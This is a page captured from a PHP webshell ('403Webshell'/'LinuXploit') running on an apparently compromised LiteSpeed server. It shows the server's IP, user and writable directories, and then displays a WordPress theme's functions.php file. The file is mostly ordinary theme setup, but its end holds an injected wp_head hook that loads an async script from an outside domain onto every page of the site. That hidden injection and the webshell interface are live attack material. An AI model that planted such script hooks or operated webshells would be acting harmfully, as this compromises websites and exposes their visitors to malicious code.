403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/.trash/goldendunesfilmfestival.com/wp-content/themes/mirel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/.trash/goldendunesfilmfestival.com/wp-content/themes/mirel/functions.php
<?php

define('YPRM_PATCH', dirname(__FILE__));

if (!function_exists('mirel_setup')):
	function mirel_setup() {
		load_theme_textdomain('mirel', get_template_directory() . '/languages');
		add_theme_support('html5', [ 'script', 'style' ]);
		add_theme_support('automatic-feed-links');
		add_theme_support('title-tag');
		add_theme_support('post-thumbnails');
		add_theme_support('woocommerce');

		register_nav_menus(array(
			'navigation' => esc_html__('Navigation', 'mirel'),
			'side-navigation' => esc_html__('Side Navigation', 'mirel'),
		));

		if (!isset($content_width)) {
			$content_width = 1340;
		}

		$tags = get_the_tag_list();
		
		add_image_size('mirel-374x312', 374, 312, true );
		add_image_size('mirel-392x261', 392, 261, true );
		add_image_size('mirel-495x330', 495, 330, true );
		add_image_size('mirel-350x450', 350, 450, true );
		add_image_size('mirel-358x358', 358, 358, true );
		add_image_size('mirel-718x358', 718, 358, true );
		add_image_size('mirel-475x390', 475, 390, true );
		add_image_size('mirel-540x380', 540, 380, true );
	}
endif;
add_action('after_setup_theme', 'mirel_setup');

/**
 * Register widget area.
 */
function mirel_widgets_init() {
	register_sidebar(array(
		'name' => esc_html__('Sidebar', 'mirel'),
		'id' => 'sidebar',
		'description' => esc_html__('Add widgets here.', 'mirel'),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<h6 class="widget-title">',
		'after_title' => '</h6>',
	));
	register_sidebar(array(
		'name' => esc_html__('Shop Sidebar', 'mirel'),
		'id' => 'shop-sidebar',
		'description' => esc_html__('Add widgets here.', 'mirel'),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<h6 class="widget-title">',
		'after_title' => '</h6>',
	));
	register_sidebar(array(
		'name' => esc_html__('Header Sidebar', 'mirel'),
		'id' => 'shop-sidebar',
		'description' => esc_html__('Add widgets here.', 'mirel'),
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget' => '</div>',
		'before_title' => '<h6 class="widget-title">',
		'after_title' => '</h6>',
	));
}
add_action('widgets_init', 'mirel_widgets_init');

/**
 * Register Scripts
 */
function mirel_register_scripts() {
	wp_register_style('elementor-icons-mirel_pack', get_parent_theme_file_uri() . '/css/mirel-icons.css');
	wp_register_style('mirel-icons', get_parent_theme_file_uri() . '/css/iconfont.css');
}
add_action('wp_loaded', 'mirel_register_scripts');

/**
 * Enqueue scripts and styles.
 */
function mirel_scripts() {
	wp_enqueue_style('elementor-icons-mirel_pack');
	wp_enqueue_style('mirel-icons');
	wp_enqueue_style('mirel-style', get_stylesheet_uri());
	wp_enqueue_style('swiper', get_parent_theme_file_uri() . '/css/swiper.css');

	if(function_exists('yprm_get_theme_setting') && yprm_get_theme_setting('smooth_scrollbar') == 'true') {
		wp_enqueue_style('smooth-scrollbar', get_parent_theme_file_uri() . '/css/smooth-scrollbar.css');
	}

	wp_enqueue_style('mirel-main-style', get_parent_theme_file_uri() . '/css/main.css');

	if (class_exists('WooCommerce')) {
		wp_enqueue_style('mirel-woocommerce', get_parent_theme_file_uri() . '/css/woocommerce.css');
	}

	if ( ! class_exists( 'YPRM_Mirel_Addons' ) ) {
		wp_enqueue_style('mirel-typekit-prompt', 'https://fonts.googleapis.com/css2?family=Prompt:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap');
		wp_enqueue_style('mirel-typekit-syne', 'https://fonts.googleapis.com/css2?family=Syne:wght@400;500;600;700;800&display=swap');
	}

	wp_enqueue_script('gsap', get_parent_theme_file_uri() . '/js/gsap.min.js', null, '3.4.2', true);
	wp_enqueue_script('swiper', get_parent_theme_file_uri() . '/js/swiper.min.js', array('jquery'), '7.0.5', true);
	wp_enqueue_script('isotope', get_parent_theme_file_uri() . '/js/isotope.pkgd.min.js', array('jquery'), '3.0.6', true);

	if(function_exists('yprm_get_theme_setting') && yprm_get_theme_setting('smooth_scrollbar') == 'true') {
		wp_enqueue_script('smooth-scrollbar', get_parent_theme_file_uri() . '/js/smooth-scrollbar.js', array(), '8.6.2', true);
	}
	
	wp_enqueue_script('mirel-scripts', get_parent_theme_file_uri() . '/js/scripts.js', array('jquery'), null, true);

	if (is_singular() && comments_open() && get_option('thread_comments')) {
		wp_enqueue_script('comment-reply');
	}
}
add_action('wp_enqueue_scripts', 'mirel_scripts', 2000);

/**
 * Enqueue Admin Scripts And Styles
 */

function mirel_admin_scripts() {
	wp_enqueue_style('mirel-admin-style', get_parent_theme_file_uri() . '/css/admin.css');

	wp_enqueue_script('mirel-admin', get_parent_theme_file_uri() . '/js/admin.js', array('jquery'), null, true);
}
add_action('admin_enqueue_scripts', 'mirel_admin_scripts', 1000);

/**
 * Add Editor Styles
 */

function mirel_add_editor_styles() {
	add_editor_style(get_parent_theme_file_uri() . '/css/main.css');
}
add_action('after_setup_theme', 'mirel_add_editor_styles');

/**
 * Admin Pages
 */
require get_template_directory() . '/inc/admin-pages.php';

/**
 * Load TGM
 */
require get_template_directory() . '/tgm/tgm.php';

/**
 * Hooks
 */
require get_template_directory() . '/inc/v-hook.php';
require get_template_directory() . '/inc/hooks.php';

/**
 * Redux Settings
 */
require get_template_directory() . '/inc/redux-settings.php';

/**
 * Setup Wizard
 */

if ( is_admin() ) {
	require_once get_template_directory() . '/inc/setup-wizard/envato_setup_init.php';
	require_once get_template_directory() . '/inc/setup-wizard/envato_setup.php';
}

/**
 * Advansed Custom Field
 */
require get_template_directory() . '/inc/acf.php';
define('ACF_LITE', true);

/**
 * FIX Editor Contact Form 7
 */
add_filter('wpcf7_autop_or_not', '__return_false');
/**
 * Save featured image meta data when saved
 */


/**
 * WooCommerce Functions
 */

if (class_exists('WooCommerce')) {
	require get_template_directory() . '/inc/woocommerce.php';
}

/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/

Youez - 2016 - github.com/yon3zu
LinuXploit